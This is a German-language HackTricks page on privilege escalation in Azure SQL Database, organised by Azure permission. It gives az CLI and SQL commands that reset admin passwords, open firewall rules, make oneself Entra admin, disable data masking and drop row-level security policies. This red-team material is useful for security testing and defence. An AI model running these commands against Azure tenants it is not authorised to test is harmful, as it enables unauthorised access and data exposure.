Az - SQL-Datenbank Privesc

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

SQL-Datenbank Privesc

Für weitere Informationen zur SQL-Datenbank siehe:

Az - SQL

Microsoft.Sql/servers/read && Microsoft.Sql/servers/write

Mit diesen Berechtigungen kann ein Benutzer eine Privilegieneskalation durchführen, indem er Azure SQL-Server aktualisiert oder erstellt und kritische Konfigurationen, einschließlich administrativer Anmeldeinformationen, ändert. Diese Berechtigung ermöglicht es dem Benutzer, Servereigenschaften zu aktualisieren, einschließlich des SQL-Server-Admin-Passworts, was unbefugten Zugriff oder Kontrolle über den Server ermöglicht. Sie können auch neue Server erstellen, was potenziell Schatteninfrastruktur für böswillige Zwecke einführt. Dies wird besonders kritisch in Umgebungen, in denen "Microsoft Entra Authentication Only" deaktiviert ist, da sie SQL-basierte Authentifizierung ausnutzen können, um uneingeschränkten Zugriff zu erhalten.

bash
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>

Zusätzlich ist es notwendig, den öffentlichen Zugriff zu aktivieren, wenn Sie von einem nicht privaten Endpunkt aus zugreifen möchten. Um dies zu aktivieren:

bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true

Darüber hinaus können Sie mit den Berechtigungen die zugewiesene Identität aktivieren und mit der verwalteten Identität, die an den Server angehängt ist, arbeiten. Zum Beispiel hier mit einer verwalteten Identität, die auf Azure Storage zugreifen kann:

bash
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
sql
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO

Microsoft.Sql/servers/firewallRules/write

Ein Angreifer kann Firewall-Regeln auf Azure SQL-Servern manipulieren, um unbefugten Zugriff zu ermöglichen. Dies kann ausgenutzt werden, um den Server für bestimmte IP-Adressen oder ganze IP-Bereiche, einschließlich öffentlicher IPs, zu öffnen, wodurch der Zugriff für böswillige Akteure ermöglicht wird. Diese Post-Exploitation-Aktivität kann verwendet werden, um bestehende Netzwerksicherheitskontrollen zu umgehen, Persistenz zu etablieren oder laterale Bewegungen innerhalb der Umgebung zu erleichtern, indem sensible Ressourcen exponiert werden.

bash
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>

Zusätzlich erlaubt die Berechtigung Microsoft.Sql/servers/outboundFirewallRules/delete das Löschen einer Firewall-Regel.
HINWEIS: Es ist notwendig, den öffentlichen Zugriff zu aktivieren.

Microsoft.Sql/servers/ipv6FirewallRules/write

Mit dieser Berechtigung können Sie IPv6-Firewall-Regeln auf einem Azure SQL Server erstellen, ändern oder löschen. Dies könnte einem Angreifer oder autorisierten Benutzer ermöglichen, bestehende Netzwerksicherheitskonfigurationen zu umgehen und unbefugten Zugriff auf den Server zu erlangen. Durch das Hinzufügen einer Regel, die den Datenverkehr von jeder IPv6-Adresse erlaubt, könnte der Angreifer den Server für externen Zugriff öffnen.

bash
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>

Zusätzlich ermöglicht die Berechtigung Microsoft.Sql/servers/ipv6FirewallRules/delete das Löschen einer Firewall-Regel.
HINWEIS: Es ist erforderlich, den öffentlichen Zugriff zu aktivieren.

Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read

Mit diesen Berechtigungen können Sie in einer Azure SQL Server-Umgebung Privilegien erhöhen, indem Sie auf SQL-Datenbanken zugreifen und kritische Informationen abrufen. Mit dem folgenden Befehl kann ein Angreifer oder autorisierter Benutzer sich selbst oder ein anderes Konto als Azure AD-Administrator festlegen. Wenn "Microsoft Entra Authentication Only" aktiviert ist, können Sie auf den Server und seine Instanzen zugreifen. Hier ist der Befehl, um den Azure AD-Administrator für einen SQL-Server festzulegen:

bash
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>

Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read

Mit diesen Berechtigungen können Sie "Microsoft Entra Authentication Only" auf einem Azure SQL Server konfigurieren und durchsetzen, was in bestimmten Szenarien eine Privilegieneskalation erleichtern könnte. Ein Angreifer oder ein autorisierter Benutzer mit diesen Berechtigungen kann die Azure AD-Only-Authentifizierung aktivieren oder deaktivieren.

bash
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>

Microsoft.Sql/servers/databases/dataMaskingPolicies/write

Ändern (oder deaktivieren) Sie die Datenmaskierungsrichtlinien in Ihren SQL-Datenbanken.

bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'

Remove Row Level Security

Wenn Sie sich als Admin anmelden, können Sie die Richtlinien des Admins selbst und anderer Benutzer entfernen.

sql
DROP SECURITY POLICY [Name_of_policy];

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks